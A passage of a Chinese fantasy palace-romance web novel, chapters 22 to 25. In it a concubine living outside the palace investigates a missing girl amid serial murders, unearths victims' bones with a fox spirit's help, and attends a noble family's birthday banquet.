沈纨一笑:“馄饨另有别名云吞,而公子气质飘渺,如云雾一般,我便称呼公子为云生如何?”
这女孩儿,都想到什么地方去了,但他未作辩驳,只微微一笑道:“谢娘子赐名。”
蒹葭和白露对这位云郎君的到来颇为不解,沈纨虽然出宫,但位份犹在,并非被贬为庶人,从此于天家无涉,突然间来了这么一位外男,日常恐怕多有不便,又怕生出事来,还是福锦亲自领了天子的旨意,告诉她们,云侍卫是陛下绝对信赖的亲信,为保护沈婕妤而来,可以信赖。
福锦为他安排了银杏居偏院的一间厢房,但他行踪不定,从未见他在银杏居内食宿,他给了沈纨一个极小的瓷哨,长得如同埙一般,需要时放口中一吹,发出如鸟鸣一般的声音,他就会立刻出现。
诸事安排停当,沈纨决定让福锦陪她外出走走,她试着用了那瓷哨,果然随传随到,云侍卫很快出现,福锦在她来到银杏居后,告知了她此间另有一个可有悄无声息离开的出口,此前沈景夫妇便是以此方式造访该处。
银杏居后院的书房暗藏机关,其中一面墙上挂了幅仙人弈棋的丹青,后面藏着暗门,从暗门里进去是一个地道,通往附近崇德坊的一间并不太起眼的客栈,出入鲜有人在意,沈纨这日戴着长帷帽,与福锦和云生一同出行,秋意渐浓,天也渐渐凉了。
自密道出来时,福锦遇到了点小小的惊吓,云侍卫脚步极轻,存在感接近于无,当沈纨与福锦从客栈中出来时,他也跟随而出,简直就如一旁突然出现的影子,把福锦吓出一身冷汗,又不好说。
她心有余悸地暗想,云侍卫存在感如此轻忽,简直如亡灵一般,若有若无,站在人身后几乎感觉不到存在,怪道陛下会派这样的人来保护娘子。
福锦领着沈纨继续往前走,过了一会,沈纨意识到前方的路十分熟悉,她知道她们要去哪了。
福锦在一家官宅的后院停下来,云生不知何时已不知所踪。
门口有守门的见了福锦笑道:“福娘子又来啦?”
福锦很自然地答:“新带了个绣娘来见夫人。”
守门人见她身后的女郎身姿袅娜,有些眼熟,但老爷夫人有嘱咐,福娘子来不必阻拦,也不可缺了礼数,点点头放行。福锦领着沈纨进了这间官宅的内院,二人穿过竹园,青石铺就小路通向一处花木掩映的月洞门,沈纨走入月洞门内,这才取下帷帽,松了口气,内心酸涩难言。
她回家了。
22. 归宁
沈纨探进自己闺房,当初破损的屋檐如今已经修缮妥当,屋中陈设一如往初,不过离家半年多,已产生了恍如隔世的感觉。
她听到房门外熟悉而迫切的脚步声,姜鸾音听闻福娘子带着新来的绣娘上门,赶紧撂下手中的庶务,赶来见女儿。
她嘱咐婢女守在外院,迈步进来,端详女儿片刻,又细问了她连日来的情况,见她一切安好,才放下心来。
母女俩坐在一处,说着体己话,姜鸾音道:“你入宫之时,宫里赏赐颇多,我让锦瑟取了些衣服料子送去霓赏馆给你做了几件衣裳,稍后带回银杏居去,这几日越发冷了,穿着正好。”
但她们左等右等,却始终不见锦瑟归来,临近日暮,沈纨心下忽生不祥的预感,不由道:“娘,我听闻京城出了连环命案,官府尚在缉凶,如今甚不太平。”
姜鸾音明白女儿的意思,锦瑟是府里多年的老人,有一女与沈纨年岁相仿,那凶徒袭击的皆为年岁较轻的女郎,按说不应是罪犯目标,虽然如此,也不禁担忧道:“如今府里有什么差事,尽量不让年轻些的姑娘家外出,锦瑟是午时出的府,有家丁随行,按说也该回来了。”
眼见天色昏黄,姜鸾音坐不住了,出到外院去吩咐婢女去寻府中的护院外出寻找。
沈纨也不敢久留,站起来说要回去,被母亲一把拦住。
“绝对不可,府里如今年轻姑娘家都尽量不派出府,娘岂能让你在此时出门,你今夜就留下来暂歇一夜,即便叫宫里知道,也强过如今贸然外出百倍,明日娘也不能让你就这么离开,到时乘马车让人护送你回去。”
沈纨心中忐忑,但母亲说得有理,遂点头应承下来,不知云侍卫还在何处,待母亲离去替她张罗,她拿起瓷哨,试着唤他。
他突然间就从竹径外出现,也不知刚才去了哪里。
“娘子有何吩咐?”
“如今天色已晚,母亲不放心我就这么返回银杏居,我今日会留在家中,明早再回去,沈宅如今有空置的厢房,你亦可暂歇一夜。”
混沌灵识强大,在一定范围内施展威能,感知范围内无所不晓,他已知晓沈纨的决定:“娘子不必挂怀,吾除了护娘子周全,其余衣食住行,皆能自行料理,娘子不必在意。”
姜鸾音在此时折返,在沈纨绣房外的院子里见到外男,大为惊讶,沈纨向母亲解释,他是陛下给她的秘密护卫,姜鸾音被他奇异的气质所慑住,一袭黑衣,宽大的蒙眼带令人看不分明他的面容,苍白的肤色,嘴角一抹淡笑,气质梳理,令人微微心生不安,天子的亲信护卫竟是个盲人,如何能护女儿周全?
他只听命于沈纨,并不对他人稍假辞色,简短地向姜夫人微微见礼,之后不知所踪。
不多时有婢女气喘吁吁地来报:“夫人,琪娘子失踪,锦瑟姑姑刺激不小,人此前去了官府,已晕过去了,官府的陈大人才送了姑姑回来,如今在南院歇着。”
姜夫人猛地站起来,赶去南院。
锦瑟是姜鸾音出嫁时自云阳侯府带来的陪房,在姜鸾音身边二十多年,她夫婿早亡,仅有一女,母女二人多年来相依为命。锦瑟为人慈爱,也看着沈纨长大,如今出了这样的事,沈纨心中担忧,也想与母亲同去。
父亲在此刻下朝回来,与陈寺卿正在商讨这起疑案,沈纨不便出现,暂与福锦留在了自己的小院里。
福锦听闻噩耗,忧虑道:“京城如今是越发乱了,陛下只给娘子指了一个侍卫,还目不能视,实在是叫人好生担忧。”
“云护卫来无影去无踪,也不知如今在何处。”
【娘子不必忧心,吾奉陛下之命守护,谁也伤害不了娘子。】
沈纨惊得差点跳起来,她突然听见了云生的声音。
“你……你在什么地方?”
【娘子若有吩咐,吾随时可至。】
福锦发现沈纨正在和空气说话,也不由得大吃一惊。
“我为何能听见你的声音?”
【世间有传音入密之法。】
“我明白了,多谢你。”
于是不再有声音传来,沈纨惊魂未定,心脏依旧突突直跳,她与福锦说明了方才之事,听得福锦乍舌,但沈纨此前见过精怪,知道世间奇人轶事无数,陛下派给她的护卫实力不凡,这么一想,心下稍定。
时至黄昏,沈景依旧在前院接待同僚,姜夫人来到沈纨闺房,二人一同用了晚膳。直至夜上梢头,陈寺卿离去,沈景来见女儿,父女间先絮叨了些家常,他才说起了锦瑟之女,以及这桩京城近期令百姓人心惶惶的大案。
锦瑟之女琪娘,比沈纨大两岁,十六岁时师从崇德坊素问堂的朱大夫,朱大夫本是长庆宫尚药局的女官,擅长女科,正月时徐家二公子的外室生产,她带了琪娘前去照料,外室莲娘尚未出月子,朱大夫须得日夜看护,一日黄昏时分,琪娘回素问堂抓药,彼时尚有天光,没成想这一去依然没了踪迹。
数月内,已有六名女子遇害,死状都十分凄惨,致命伤总在头部,被重物打碎,尸身还遭到践踏。另有四人行踪不明,凶徒格外喜欢向年轻且面容姣好的女子,琪娘失踪数日,恐怕凶多吉少。
夜晚就寝之前,姜鸾音慈爱地与女儿说了好些贴心话,母女二人才分开,即便外面风云变幻,她如失宠的妃嫔被送出宫,但双亲俱在,她内心安宁。
福锦陪宿在闺房之外,吹了灯后,沈纨一时间难以入眠,记挂琪娘之事。
突然,她想到此前在太平坊遇到的那只算卦狐狸初九,虽然神叨叨的,总兜售些奇怪的护符法器,如今大理寺也毫无头绪,或可以去问问他有没有眉目。
翌日沈景有早朝,早早离了府,沈纨在早膳后也辞别母亲,姜鸾音派马车和护院送她离去。她穿得厚实,又戴着长过腰的帷帽,外院的人尚不知她昨日悄然回府,还道是夫人对厚待造访的福锦娘子和绣娘。
时辰尚早
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,市坊正逐渐变得热闹,沈纨不便说话,都由福锦代为与车夫沟通,央他转道先往太平坊。
在上回的民巷里,沈纨见到了初九的卦摊,时候尚早,巷子里无人,她让福锦守在不远处,来到卦摊前,掀开帽帘:“狐郎君,可还认得我?”
狐狸惊得险些吓掉胡子,声音也在那一瞬间变得有点尖:“娘子是……上次的,本以为是方外高人,谁能想到,你们竟是皇亲国戚。”
“此前一别,你可领到赏了?”
说到这个,狐狸眉开眼笑:“护驾有功,赏一百金,拿去换的灵药,可抵未来一年的修行。”
“才一年?”初九是狐中晚辈,可也是一百多岁的狐狸了。
“自然,修行本就不易,否则岂非什么魑魅魍魉都能谋个人身。娘子今日就只是来寒暄的,还是改了主意,觉得我那辟邪珠……”
“好了好了,我今日倒是真带了银两,但不要你那珠子,有要事问你,我有一长辈,如今女儿行踪不明,你可瞧得出端倪?”
“娘子报个时间来。”
沈纨也不知狐狸的测算逻辑,想了想昨日听闻噩耗的时间,说了个时辰。
只见这狐狸摇头晃脑地掐指占算,突然哎呀一声:“身入险地,凶多吉少。”
沈纨的心立刻悬了起来,脑中嗡嗡作响:“你……此话当真?!”
初九给她摆出一个卦象:“地火明夷,这女郎魂灯已灭。”
“那她如今在何处?”她紧张得心突突直跳,坏消息很难让人接受。
初九有模有样地起了个卦,看了一会儿道:“娘子可往京城西南三十里处寻。”
沈纨略一思索,京城西南三十里,那不就是在清泉山附近。
初九看她一脸担忧的样子,不由道:“此案甚为复杂呢,这几日常有受害的人家来问,连我也看不分明,娘子何苦去趟这浑水。”
沈纨摇头道:“这女郎是我故交,她的母亲看着我长大,情意非同一般,如今横遭不测,我岂能置身事外,这些银两,可够么?”
初九用力点头。
看样子,要去一趟清泉山,琪娘失踪,事态紧急,此事刻不容缓,如今天色尚早,不若现在就去看看,且授她琴棋书画的师父如今在山上清修。她此前进宫,本以为从此以后再难有相见的机会,如今出得宫来,也正好去探望师父。
正思量之际,狐狸问她:“难得一见,娘子可要摇个卦来瞧瞧?”
“我?我自己近日并无甚事情可求。”
“趋吉避凶嘛,若流年不利,则诸事不宜,行事可难成呢。”
沈纨半信半疑,但左右无事,遂占了一卦。
狐狸低头看着排出的卦象,竟是个讼卦。易经在四书五经之内,沈纨虽然不通玄理,但也粗略看过,字面上的意思还是明白的。
“这……怎还涉及官非了?”
争讼之相,岂不是意味着,出师不利。
23. 天水讼
沈纨摇出个天水讼卦,初九仔细瞧了瞧,宽慰道:“这卦象不严重,会惹些口舌,劳心而已。所以说,沈娘子,我那辟邪珠又不贵,不妨求一个,可是真的能趋吉避凶呢。”
她近期的确有事在心头,占了个讼卦,兆头有些不好,不由问他:“那你这珠子多少银子请一个?”
“这珠子可是有法术呢,所以要二百两银子!”狐狸嘻嘻笑。
沈纨总觉得他在趁火打劫,这只奸诈的狐狸。
二百两是她年俸的一半,虽然宫里有很多赏赐,但钱不是这样使的,再说,她入宫至今,还未有一年,她摇头叹道:“你可真会做生意。”
她的师父燕和郡主是清修之人,她常去慈缘寺,对神明不可谓不礼敬,慈缘寺香火鼎盛,但住持最常对香客说的,也是做事论心,命数并非花大钱请福物就能改,所以她最后只给了狐狸解卦的钱,
占一卦并不贵,也就十个铜板,初九也不生气,笑眯眯地收了算卦的钱:“娘子若改了主意,随时来太平坊寻我。”
没想到,回程还真生出了些事来。
回银杏居经过大兴坊,相比北部靠近皇城的官宅,此处市井之气甚浓,商贾云集,又有小贩清晨担农产、推板车进城叫卖,还有当垆卖酒的,代写书信的,故而道旁拥挤,好不热闹。马车徐徐使过,沈纨正怀着心事,突然迎面一驾马车驶来,对面的车夫忙着赶路,沈宅的马车不急避让,两驾马车相互别到,在路中央停了下来。
马匹受惊,车夫花了好大力气才拉住,沈纨在车内也感到马车剧震,没翻倒真是幸事。
沈纨今日悄悄出来,不欲生事,不想对面的车夫态度傲慢,呵斥沈家车夫没长眼,福锦气怔了,先不说沈纨就在这马车之内,皇城脚下,显贵众多,最忌仗势欺人,竟还有这样愚蠢傲慢的人。
两驾马车相撞,还别倒了路边的一个女子,她摔倒的地方就在沈纨所处的方向,掀帘就能看见,泥水溅了她一身,看起来好不狼狈。
沈纨听那马夫声音甚为耳熟,忽然忆起数月前狐狸送她和天子自风泽山回京,在玄武坊附近遇到徐府的马车,彼时那人前去接徐虎新纳的侍妾回府,态度也是如此傲慢,徐敦在朝中渐有挟天子以令诸侯之态,长女也是内定的皇后,怪不得连府里的下人也有恃无恐。
她不便出面,只好吩咐福锦,先下去将那女子掺起来,不可生事,能让便让了。
“但……娘子……”
“那是徐家的车夫,我此番出来不好声张,你快去把人扶起来,多一事不如少一事,当下赶紧回去才更要紧。”
福锦无法,虽然气不过沈纨受屈,依旧下了马车,将那横遭无妄之灾的女子搀起来。
京城显贵众多,难免有官宦人家养出些性子轻狂的小辈,在市井中生事,百姓也甚为厌恨那些当众耀武扬威的世家纨绔,众人见福锦下了车扶起路旁被别倒的女子,对她此举大生好感,转而指责那驾车莽撞的徐府车夫。
这徐府的车夫是府里多年的老人,因主家显贵,养成目中无人的习气,见道旁行人怨他行路莽撞,反说他们有眼不识泰山,还不识相走开些,莫要开罪了贵人。
这时他身后一个温柔的声音道:“邢伯,我知你心急赶路,但此事原是我们的马车抢了路,各退一步便完了,何苦争执,又多生出事来。”
那车夫方才还神色倨傲,闻言迅速换上一副点头哈腰的殷勤之态:“夫人,小人也是心急,毕竟也不好让二公子久候。”
“事是这么一件事,但你态度倨傲,传出去岂不是污了他的面子,也坏了我的名声。”徐家马车的锦帘之内伸出一只素手,掀开车帘,下来一个雍容华贵的女子,年纪看着并不大,来到福锦和那摔倒的女子面前致歉。
她相貌美艳,锦衣华服,打扮珠光宝气,不知是徐家哪一房的女眷,但世家装扮,并不是把最好最贵的东西都堆在身上,更讲究经年累月所养出来的贵气,而她的打扮过分奢丽,也很是年轻。不过,穿成这样的女郎是不会步行上街的,那被绊倒的平民女子见两边马车都下来气度不俗的贵人向她道歉,最开始的委屈也散了。
福锦给了她几两银子,让她重新去裁身衣裳,而那徐府的女郎,也转头吩咐马车里的侍婢,给了更丰厚的赔偿。
没想到在银钱上也被压了一头,但斗富到底不像,和婕妤此次出行务求低调,福锦也只能将此事按下。就在这时,马车里传出婴儿的啼哭,那华服女郎一惊,向福锦盈盈一礼,再次道歉,转身欲上马车。
沈纨突然想到什么,徐家二公子是个不成器的纨绔,远不能和他的兄长相比,功名没有一点,坏的习气倒是很多,去年纳椴花楼头牌莲娘为外室,也是京城的一件大事。不久前这外室生产,请来素问堂的女医照料,琪娘是朱大夫的学徒,便是在照料莲娘期间,突然失了踪迹。
徐氏近日除了那徐家二郎,并未听闻有其他孩子出生,那女郎的姿容艳丽,年纪又轻,徐府那耀武扬威的车夫对她如此恭敬,恐怕就是莲娘,她忙掀帘喊住那女子:“女郎请留步。”
在马车中不便戴着帷帽,掀帘露面,道旁的行人都看向她。
今日真是奇了,两驾马车相撞生出龃龉,一边马车上下来个艳光照人的女郎,另一边亦有个美貌少女,气质完全不同,容色却丝毫不逊前者。
“娘子此前生产,请了素问堂的朱大夫照料,可识得孟琪姑娘?”
那华服女郎正欲回去哄孩子,听闻沈纨的话语,她脸色突变:“你是……?”
果是莲娘没跑了,沈纨又道:“我是琪娘积年的旧友,她多日行踪不明,我甚为挂心。”
莲娘黯然:“此事我亦不知,也怪我失察,如今想来,十分愧疚。”
“娘子对何人害了她可有眉目?”
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她闻言一怔,神情更加凄苦,垂眸摇了摇头。
马车内婴儿啼哭不止,莲娘转头吩咐了车内几句,一个丫头从车上下来,抱出一个婴儿,交到她手中,沈纨见状,忙抱歉道:“今日实在对不住,误了娘子时间。”
莲娘抱着啼哭的孩子,一面哄着,也一面回礼致歉,但并未马上离去,而是问沈纨:“敢问女郎是哪家的女眷,可识得她的至亲?孟家娘子失踪,我也觉得很是愧疚,想找机会做些弥补。”
沈纨迟疑,她当然认识锦瑟姑姑,可众目睽睽之下,实在不方便透露身份,今日抛头露面已经甚为冒险了,她只好道:“我不便透露身份,还请娘子见谅,琪娘是朱大夫的徒儿,女郎若想表达心意,去素问堂寻朱大夫,应能代为转达。”
徐府那车夫不屑道:“小娘子好大的架子,莫非是宫里的娘娘不成,也敢与我家夫人摆谱。”
福锦怒道:“你住口,我家女郎岂是你能冒犯的。”
莲娘也转身怒道:“邢伯,少说两句罢。”又忙向沈纨致歉,谢过她的建议,抱着婴儿转身上了马车,徐府的马夫也不再纠缠,调整方向离开了此地。
福锦再次安抚那跌倒的女子,也转身上了马车,此时听到行人议论:
“方才那是哪家贵人的女眷,这样大的架子和排场?”
“什么女眷。”另一人轻蔑道,把徐家二郎的轶事也说了一遍:“不过是个世家的外室罢了,不过是因为诞下长孙,母凭子贵耳,就这样,也没能真进了那国公府。”
话语如乱箭伤人,福锦慌乱地看向沈纨,她垂眸不语,有点伤怀,硬要说她如今的处境,和那出自椴花楼的娘子没什么区别,也是个被天子送出宫的外室。
快回到银杏居时她才想起,狐狸所说的讼卦,敢情说的就是这么一桩事?他本事是有的,就是贪财。
初九还说,清泉山附近有些情况,看来还是要走一遭,但她的决定遭到了福锦的激烈反对,她毕竟还是天子嫔御,虽然出宫避开贵妃锋芒,但身份贵重,如今京城不太平,银杏居人手有限,男性差役也仅二人,虽然陛下与了个神出鬼没的侍卫,但也只是一个侍卫,如何能保她周全。
沈纨无奈,只好与福锦约定,如果三日后琪娘再无消息,就向天子申请,派皇城禁卫护送她前往清泉山礼佛,金吾卫近日在京城加强了巡防,若有禁军护送前往清泉山,总不会再有闪失。
如此却也说得通,至少安全了许多。
但此事又人命关天,她实在是挂心,未满三日就送信去求了天子,很快获得应允,沈府那边也有来自母亲的回信,琪娘果无消息,于是此事就这么定了下来,还寻了个颇说得过去的名头:十月初是圣武皇帝的冥诞,宫里本就有祭祀,虽然辈分隔得远了,但怎么说她也算有天家的血脉,前去祭拜也在礼数之内。
于是,她将由禁军护送,前往清泉山一探究竟。
24. 埋骨之地
第二十四章埋骨之地
魔情在宫里收到沈纨想去清泉山的请求时,就已明白她的意图。
“你可知凶手是谁?”他问混沌。
“自然。”
“她此行可有风险?”
“有属下在,区区凡人不足挂齿。”
混沌强大的灵识宛如天眼,没有修为的凡人,其意图与言行在他面前难以隐藏,他不一定随时在沈纨身边,却又近乎于无处不在,如果沈纨有危险,敌人还未出手,他就已经出现了。
有混沌的保护,魔情也想不出沈纨会有什么风险,他准了此事,至于身边那些听命于徐氏的耳目,回报徐府,徐敦未作反应。天子偏爱的沈婕妤已不在宫里,虽不如直接除掉理想,但不在宫中碍眼,在外烧个香拜个佛,去哪都是次要。
于是宫中派下适当数量的禁军,于十月初护送沈纨前往清泉山。
沈纨当日只带了福锦同行,蒹葭和白露留在银杏居。她在慈缘寺见到了师父燕和郡主,郡主萧宴出身显贵,父亲亦是亲王,年少时就是京城有名的才媛,琴棋书画无一不精,曾周游天下,沈纨的才艺皆由郡主所授,郡主还对她讲述自己早年的见闻,因此她对京城之外的万里河山很是向往,只可惜无缘走遍天下。
郡主在四十岁那年遁入空门,带发修行至今已十五载,师徒相见,一同祭拜了开国天子,待祭祀结束,她们好生叙了叙旧,听闻沈纨的近况,又知天子与太后如今在宫里受制于世家,她毕竟是宗室,难免有唇亡齿寒之感,天家若有闪失,如今平静清修的一隅,在未来恐怕都成了奢望。
沈纨记挂琪娘之事,借口要去礼佛,暂别了师父,才踏出慈云院,就看到一个意想不到的人,小狐狸初九恢复了他十四五岁少年郎的本相,动着一对灵动的狐耳,在慈云院外一株满开的梨花树下站着,显然在等她。
“你……!”沈纨怕声音高了惊动他人,紧张地张望了一下四周,确认四下无人,匆匆几步上前去,压低声音问:“你来这做什么?”
“算出娘子今日会来清泉山,不知为何,冥冥之中觉得娘子可以解决此事,忍不住跟来看看。”
“慈缘寺不接待男客,护卫禁军皆在山门之外守着,你贸然进来,被发现了当心被赶打出去。”
“既然这样……”初九食指和中指并拢,竖起一个法决,一阵光后,变成一个十四五岁的少女,与她当日遇见的那个小狐女看上去一般大,看上去古灵精怪,笑声灵动。
“这障眼法如何?还得感谢娘子和你神通过人的郎君,赏赐换来的灵药多少涨了些修为。”
这狐狸毫无一点心理负担,在她面前转着圈,展示变出来的裙子,看上去真的就像是个天真烂漫的美少女。
这时福锦端着茶果进来,却见沈纨在慈云院外,和一个容貌娇俏的小姑娘站在梨花树下。
“这位小娘子是?”
“这孩子是云阳侯府的女眷,小字阿九,今日和家中长辈来礼佛,好些年没见了,来说些体己话。”云阳侯府,是沈纨母亲姜鸾音的娘家。
“原来是侯府的贵人,奴婢福锦,见过九娘子。”福锦不疑有他,端着茶盘有些不便,只能屈膝行了个礼,然后她转身前往慈云院,将茶果呈送郡主,沈纨站在外面问初九:“你可有点武学底子?”
“狐狸修行总是会学些的,怕是不如娘子的郎君那般出色。”
“要是那凶徒出现,你可有把握胜他?”
“原来是这样,娘子放心,凡人可拿狐狸的障眼法没招。”
“你说的清泉山附近会有些眉目,说的是什么呢?”
“我占的结果看上去可不像是有活人,死气甚重,此卦吓人,娘子真要去一探究竟吗?”
狐狸的话语令人不安,可是,来都来了,若能有琪娘的若干眉目,也能告慰锦瑟姑姑,否则,她心下总是有些不安。
沈纨待福锦出来,借口要回静室休息,要带着阿九,福锦不疑,陪沈纨回到静室,自己则守在外面。她和初九进来,悄悄推开静室后面的竹窗,两个人从竹窗爬出去,猫着腰自后院偷偷离开了。
沈纨在慈缘寺长期住过,对寺院极其熟悉,寺庙前院香火鼎盛,女尼忙着接待前来礼佛的贵女,后院十分清净,她去柴房寻了一柄花锄,犹豫片刻,决定带上,然后和初九一道自后院离开了山门。
她进入后山的枫树林,摸出瓷哨看了看,她此行由禁军护卫而来,那神出鬼没的云生公子并未随行,如今远离京城,再怎么有神通,也不至于飞天遁地,她想了想,收起了哨子。
早就隐藏在一旁的魔将知道沈纨犹疑一番后,明明想叫他,但依旧将瓷哨收了起来,不禁摇了摇头。
有初九在,方位更加好找,小狐狸拿着罗盘,带着沈纨往竹林深处而去。
秋日的枫林满目金红,林间铺满了落叶,空气湿润清新。沈纨和初九顺着蜿蜒曲折的小路前行,微风过处,枫叶发出沙沙的声音。
天朗气清,漫山枫红,一点也不像山林间可能暗藏罪恶的样子,沈纨想起也就在半年前,她在此间初遇天子,明明没过多少时日,却已有了些恍如隔世的感觉。
沈纨跟着寻路的初九,好奇问他:“去岁冬天比往常冷得多,雪下得极厚,风泽山那奇妙的翠竹林当时可受了风雪的影响。”
“吾族的翠竹林是不可多得的奇境,四季百花开,竹叶青青,风雪不侵,若要看雪,需得离开竹林。”初九拿着罗盘向前走:“有了!就这里。”
花锄真没白拿,但她有些迟疑,颇觉不详,这一锄头下去,还不知掘出什么东西来。
“娘子是官家的淑女,怕这些也是正常的。”
其实她当年在山下的善济堂照料过贫病女子和弃婴,也不是没见过那些熬不过冬天,一病而亡的可怜人,但现在心里多少有些发怵。
踌躇片刻,终是下定了决心:“无妨,横竖都来了。”
挖土是相当累人的活,不一会她
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就出了一额的汗。
“这太慢了。”初九撤了障眼法,干脆在她面前现了原形,变成了真正的狐狸。
不同于青丘的狐族,他是一只赤焰狐,通体鲜艳浓烈的红毛,仿佛燃烧的火焰,大尾巴左右摆动,像跳动的小火焰,颈部有一圈泛黄的绒毛,就像一圈厚实的围领。
他突然间露出兽态,让隐藏在暗处保护沈纨的混沌都不禁吃了一惊。
有些意思。
初九的两个爪子非常熟练地刨着土,不一会儿就挖到些亮晶晶的东西。
“这……这是……”沈纨定睛一看,这分明是人的牙齿。
又过一会儿,挖出了更多碎骨,沈纨虽然见过死人,但是她毕竟不是仵作,不知道这些骨头的部位,混沌的凝神一辨认,那是人的头盖骨,且死去久矣。
有些碎骨上面依然残留着血污,她看得难受,扶着花锄缓了半天,并叫停了狐狸。
“先别挖了。”
初九停下了爪子,仰头看他,大红的毛尾巴在身后晃来晃去,显得非常可爱,但就在他旁边,却是个瘆人的白骨坑,沈纨不确定这里头有没有琪娘的遗骸,但显然也发生了耸人听闻的命案,不是她和初九,这一人一狐能独自解决的。
“这样不成,还是得回山门去报告师太,不论是不是此前那些行踪不明的女子,此事当由官府介入了。”
初九变回了人形,看着地上的碎骨:“刨了这么一个大坑,娘子欲待如何向寺里的尼师解释?”
“我就说在山间看到狐狸觅食,挖出来的,要不,你放些狐毛为证。”
初九皱着眉,又想不出其他法子,最后,还是薅了薅他的狐狸耳朵,撒了点狐狸毛在碎骨坑里。
她回转慈缘寺,报告住持的慧缘师太,师太派人下山报官,又拜托候在山门外的禁军,派遣数人前去看守竹林深处的埋骨之地。
福锦还歇在竹榻上,见沈纨从外面回来吃惊不小,此前在徽元殿当差,天子自今年起就喜爱自行其是,时时不知所踪,叫人好找,没想到沈婕妤温柔和气,也有这样的坏毛病。
“娘子,以后断不可再如此了,奴婢纵有十个胆子,也遭不住这么吓的。”
初九依旧变成了少女模样,在旁边替沈纨开脱:“不怪沈姐姐,是我知道沈姐姐熟悉此间,央她带我出去附近的枫叶林走走,林子里也有不少贵主供奉的石雕,工艺精致,再者清泉山今日有禁军把守,谁能想到山里会有遗骸。我还看到那么大的一只狐狸在竹林里刨土,呀,真是威风凛凛。”初九比比划划,语气夸张。
沈纨赶紧看他一眼,别忙着自夸露馅了。
官府派来的人挖出遗骸,经过多日辨认,不止一个受害者的尸骸,皆为女子,作案手法与此前遇难的那些女子相似,且埋骨的时间不一,此前京城有些女郎失踪了数个月,通过遗物比对,也确定了身份,却对身份的遗骸被好生收敛,京城又多了几户伤心的人家,而锦瑟之女依旧没有消息。
25. 红叶宴
翌日,沈纨辞别师父,离开了慈缘寺。禁军护送她从清泉山下来,初九依旧维持少女模样,与她同在马车内返回京城。
行至半山腰,前方见到一辆马车,斜陷在地里,车轮损坏,道旁站着几个人,一个妆容不俗的夫人,两个年轻的侍婢,一位骑马的年轻公子并两个仆役打扮的人。
那妇人看着年逾四十,依然面若春晓,气质很是柔和面善,一脸忧色地站在一旁。
禁军护送沈纨的车马下山,那青年公子上前来拱手求援,禁军停下来,转头请示婕妤,沈纨让福锦下车询问,但见那青年一身武官打扮,手腕上却有一串迦南佛珠,自称是殷州刺史陈永的家眷,随母回京探亲,昨日母亲上山礼佛,他今晨前来相迎,没成想沿途颠簸,车轮毁损,受困在这半山腰上。
他们知悉沈纨身份,忙敛容整衣上前跪下行礼:“方才不知婕妤娘子身份,实在罪过。”
沈纨也下了马车,请刺史夫人和公子起身,刺史夫人自称阮氏,唤其子为三郎,其名讳曰徐阐。
“夫人欲往何处去?”
“妾身欲往春秋原,不知婕妤娘子是否顺路。”
“不妨事,红叶原离此处不远,规程恰好能经过,请夫人上车。”
正说着话,山下上来一队官兵,直往清泉山上而去,阮夫人不由奇道:“此处若非是送官家女眷,寻常男子不得上山,今有这许多官兵在此,发生了何事?”
沈纨简要地说了山上发现了多名女子遗骨之事,阮夫人的柔和的神情露出忧惧的表情,她宽慰道:“夫人切莫担心,既已有官府介入,相信不日之内就能查明真相。”
一旁的年轻公子道:“母亲且先与婕妤娘子前去拜会外公和公主,我方才已差人去请木匠,修缮马车尚需数个时辰,只能晚些时候再去请安。”
他礼数非常周到,又对沈纨行礼道谢:“今日对娘子多有麻烦,实在是感激不尽。”
阮夫人点了点头,对他嘱咐了几句,同沈纨一起上了马车,车帘掀开,她瞧见马车里的初九,不禁笑道:“哎呀,原来马车里还有一位这么美貌的小姑娘。”
狐狸笑嘻嘻道:“阿九见过夫人。”嘴甜得很。
陪同的蒹葭白露遂把位置让出来,白露上了福锦的马车,蒹葭随车夫坐在前处候命,初九因假称沈纨的表亲,得以留在车里,阮夫人瞧女孩儿活泼俏丽,很是喜欢,与他闲聊,狐狸也不见外,信口开河。
禁军的马车至春秋原,此间是京城人士春秋季赏景之地,一条九曲河隔开两岸平原,花树繁茂,河岸一侧满栽桃树,另一侧为枫林,如今入秋,河岸边枫红似火,沈纨见有虎贲军守卫,认得是魏国公府的仪仗,不禁诧异:“阮夫人原来是徐家女眷?”
阮夫人神色显得有些不自然:“长乐侯乃是家父,今日是大长公主生辰,早晨下山遇到意外,生辰宴怕是有些迟了。”
长乐侯徐虎是徐敦的父亲,尚当今天子的姑祖母云华大长公主,曾任驸马都尉及侍中,国政上一把抓,门生众多,战功却不如儿孙出色,在七十五岁那年自朝堂退隐,举行了轰动京城的盛大寿宴,百官无不趋之若鹜,寿宴那天,被先帝加封长乐侯。
这么说来,阮夫人还是大将军徐敦的妹子,也不知为何不姓徐,但徐虎外室众多,其中恐怕也有些说不清道不明的旧事。
沈纨虽然心中疑惑,但这些私事不便相询,既是徐氏家宴,更觉有避嫌的必要,她吩咐禁军在春秋原外停下,唤来阮夫人的婢女前去通报,不一会儿徐府的长史自内中出来,分别向沈纨和阮夫人都见了礼,然后说大长公主有请沈婕妤同去参筵。
没想到会受到邀请,毕竟是徐氏家宴,沈纨觉得有些不自在,也只好应下,倒是狐狸,没想到有这一番际遇,好奇至极,沈纨叮嘱他,千万记得自己是云阳侯府的亲眷,不可失言。
大长公主的生辰宴开在一个观景最佳的所在,沈纨才踏进来就一怔,她在大长公主身边见到了天子,他身旁坐着徐贵妃,徐兰宁看着她,神情略显不自在。
阮夫人在一旁温声道:“婕妤娘子,随我来吧。”
毕竟是大长公主,论起辈分,她是天子姑祖母,徐虎年近八十,她如今也七十五了,虽然满头银丝,但看着雍容华贵。
大长公主是天子长辈,又是有年纪的人,而沈纨身为婕妤,位份不很高,虽然按礼制宫妃的地位应高于宗室,她依然上前来拜见了公主,阮夫人也在旁行礼道:“见过母亲。”
“近日过得如何?”耳边突然听闻有人低语,不是公主的声音。
沈纨抬头,发现天子正看着他,二人眼神接触,她旋即低下头来,微微地,做了个点头的姿势,天子没说什么,嘴角划出一抹笑容,他也看得分明,沈纨身边跟着的那少女分明是太平坊的那算命狐狸。
混沌也在,甚至因为他今日出来,蓝月幽阁高悬云中,饕餮隐在其中,春秋原内,相熟的官员携女眷来贺公主,唯徐氏马首是瞻,也对沈纨形成了的压力,但实际上没什么好怕,魔情觉得此情此景有些奇妙,越发气定神闲。
初九这副少女装扮,古怪精灵,大长公主看着也喜欢,让上前来,握着他的手细细地问话。
“你是云阳侯府的姑娘?怎么平素未曾见过,也不曾听闻?”
“我和爹娘平素不在京城,王侯都有三门子穷亲戚呢,公主是贵人,不认识也是正常的。”
“你可定了亲事?”
“啊?!这……我年纪还小,还不急呢。”
